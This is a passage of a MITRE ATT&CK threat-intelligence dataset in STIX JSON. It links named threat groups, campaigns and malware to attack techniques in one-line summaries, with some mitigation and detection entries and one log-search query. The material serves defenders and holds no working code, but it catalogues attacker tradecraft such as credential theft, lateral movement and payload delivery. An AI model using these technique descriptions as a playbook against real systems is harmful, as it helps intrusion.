hosts.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea9d456c-f2b7-4d95-ab30-2a7e06586615","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.805Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) collected complete contents of the 'Pictures' folder from compromised Windows systems.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eaa06586-e33e-4e4c-91ca-76935c22e012","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:15.036Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network connection discovery using netstat.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eaa42ea7-0a48-4ec9-82cd-1bab99db9e38","created":"2024-07-19T18:31:05.663Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:31:05.664Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) utilizes rundll32.exe to execute the final [Pikabot](https://attack.mitre.org/software/S1145) payload, using the named exports `Crash` or `Limit` depending on the variant.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eaa4e3f4-e3f6-4c1e-9cbf-4801028abfea","type":"relationship","created":"2020-10-19T23:54:29.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"modified":"2020-10-22T01:54:23.150Z","description":"Apply extended ACLs to block unauthorized protocols outside the trusted network.(Citation: US-CERT TA17-156A SNMP Abuse 2017)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eaa943db-2953-4131-84a2-6b6e1ce9b835","created":"2022-04-14T13:20:58.093Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for an attempts by a user to gain access to a network or computing resource, often by providing credentials via remote terminal services, that do not have a corresponding entry in a command history file.","modified":"2022-04-14T13:49:18.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eab2fc42-07cf-48d1-9bef-f32d11861cf6","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eab4c1aa-d84d-4111-ab87-710345bdd31d","type":"relationship","created":"2021-01-27T20:39:52.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.068Z","description":"(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eab4fb13-01cc-4d7c-87a8-dc52e172dfab","created":"2023-03-26T20:12:08.408Z","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"},{"source_name":"FireEye SUNSHUTTLE Mar 2021","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:12:08.408Z","description":"For the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) acquired C2 domains, sometimes through resellers.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eab5970e-e491-44e6-90a2-203d9a7b4042","created":"2022-03-23T20:35:57.939Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cisco CaddyWiper March 2022","url":"https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html","description":"Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CaddyWiper](https://attack.mitre.org/software/S0693) has the ability to dynamically resolve and use APIs, including `SeTakeOwnershipPrivilege`.(Citation: Cisco CaddyWiper March 2022)","modified":"2022-04-17T14:08:10.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eab5d0d3-9a1b-4943-bf51-e5bff9a2b04d","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T20:41:50.727Z","description":"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system.\n\nAnalytic 1 - Look for unusual OS API execution related to AppleScript.\n\nsourcetype=macOS:Syslog OR sourcetype=macOS:Process\n| search (process_name=\"*NSAppleScript*\" OR process_name=\"*OSAScript*\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eabdbef7-440f-42ca-99b1-a4d08a1c955e","type":"relationship","created":"2019-03-11T19:24:08.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.585Z","description":"[Empire](https://attack.mitre.org/software/S0363) can utilize built-in modules to modify service binaries and restore them to their original state.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eabe052b-cecc-4d80-92c9-150e8c8dbcdd","type":"relationship","created":"2020-11-02T19:33:14.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"VirusBulletin Kimsuky October 2019","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."}],"modified":"2020-11-02T19:33:14.168Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used FTP to download additional malware to the target machine.(Citation: VirusBulletin Kimsuky October 2019)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eac2781c-7025-47b9-8982-9d037a94c33f","created":"2023-03-23T18:59:51.170Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T18:59:51.170Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used [PolyglotDuke](https://attack.mitre.org/software/S0518) as a first-stage downloader.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eac3f09f-fdd0-4bbd-965b-4e22276f4021","type":"relationship","created":"2022-03-16T19:15:25.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:15:25.792Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used DropBox URLs to deliver variants of [PlugX](https://attack.mitre.org/software/S0013).(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eac61f60-a87d-4f83-b5e0-64542efeca6b","type":"relationship","created":"2020-06-22T20:34:05.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-06-22T20:34:05.416Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has performed process name checks and has monitored applications.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eacb139c-69ea-44a5-b299-6a2db03e4079","created":"2024-04-17T20:53:16.330Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T20:53:16.330Z","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) can decompress data received within `POST` requests.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eacb7614-6cc9-4eb9-92fc-bba53ac4f59a","type":"relationship","created":"2020-11-16T20:20:30.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-16T20:20:30.532Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can scan for open ports including TCP ports 135 and 1433.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eacc205b-b8f9-4427-b8bd-3eba5a5a6179","type":"relationship","created":"2021-02-17T19:22:30.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}],"modified":"2021-02-17T19:22:30.841Z","description":"[Conti](https://attack.mitre.org/software/S0575) can enumerate through all open processes to search for any that have the string “sql” in their process name.(Citation: CarbonBlack Conti July 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eacf09ab-0264-4af8-bfa5-f3be9df47e3f","created":"2019-06-20T18:55:36.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS DB VPC","description":"AWS. (n.d.). Working with a DB instance in a VPC. Retrieved September 24, 2024.","url":"https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T14:58:50.702Z","description":"Consider periodic review of accounts and privileges for critical and sensitive repositories. Ensure that repositories such as cloud-hosted databases are not unintentionally exposed to the public, and that security groups assigned to them permit only necessary and authorized hosts.(Citation: AWS DB VPC)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eacf7d8c-c60c-4d4b-af28-57c015a54c55","type":"relationship","created":"2021-05-05T15:52:15.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-05T15:52:15.819Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used macros to verify if a mouse is connected to a compromised machine.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ead3f010-b221-4708-bb1e-d146f2593be5","created":"2023-03-23T19:03:29.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-06T19:25:42.299Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used [PsExec](https://attack.mitre.org/software/S0029) for lateral movement on compromised networks.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ead78847-ea3b-4511-ab4e-a54f5489fb58","created":"2022-06-15T18:08:27.318Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor changes to files that may be indicators of deleting or altering malicious network configuration settings as well as generated artifacts on a host system that highlight network connection history, such as Default.rdp or /var/log/. ","modified":"2022-08-04T00:27:18.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eadd5ace-0afb-4812-8834-e0dd56b9b129","type":"relationship","created":"2020-11-13T19:25:52.939Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:23:31.710Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can steal cookie data and credentials from Google Chrome.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eade28d3-c5ce-453e-8e57-3262167c30be","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.860Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) collects the OS name, machine name, and architecture information.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eae9381a-9045-4b71-9b80-cacea0336a1a","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eaebb080-e57e-4c06-84df-376cc8bff09e","type":"relationship","created":"2020-11-10T16:04:00.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."}],"modified":"2020-11-10T16:04:00.852Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the “net view” command to locate mapped network shares.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eaed4cbc-d5d1-4274-af09-62d98ae1afc7","type":"relationship","created":"2019-01-30T13:42:09.419Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 